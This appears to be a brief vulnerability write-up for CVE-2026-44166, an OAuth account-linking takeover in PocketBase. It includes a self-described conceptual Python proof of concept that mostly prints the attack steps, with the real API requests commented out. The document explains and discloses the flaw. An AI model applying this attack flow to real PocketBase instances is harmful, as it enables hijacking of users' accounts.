CVE-2026-44166 PocketBase OAuth账户劫持漏洞

import requests # This is a conceptual PoC to demonstrate the attack flow. # Actual exploitation requires valid OAuth app credentials and victim interaction. TARGET_URL = "https://example.com/api/collections/users/records" VICTIM_EMAIL = "[email protected]" print(f"[+] Target: {TARGET_URL}") print(f"[+] Victim Email: {VICTIM_EMAIL}") # Step 1: Attacker initiates OAuth flow with Provider A (e.g., Google) # and creates an unverified account for the victim's email. print("[1] Attacker creates unverified account via OAuth Provider A...") # attacker_oauth_token = get_oauth_token_provider_a() # data = {"email": VICTIM_EMAIL, "provider": "google", "token": attacker_oauth_token} # r = requests.post(TARGET_URL + "/auth-with-oauth2", json=data) print("[!] Unverified user created (simulated).") # Step 2: Victim decides to sign up using OAuth Provider B (e.g., GitHub) print("[2] Victim initiates sign up via OAuth Provider B...") # victim_oauth_token = get_oauth_token_provider_b() # data = {"email": VICTIM_EMAIL, "provider": "github", "token": victim_oauth_token} # Step 3: System automatically links Provider B to the existing user created by Attacker # and marks the account as verified. print("[3] System auto-links Provider B to the existing user...") print("[!] Account is now verified and linked to attacker's initial record.") # Step 4: Attacker can now reset the password or access the account print("[4] Attacker resets password via API...") print("[!] Account takeover successful.")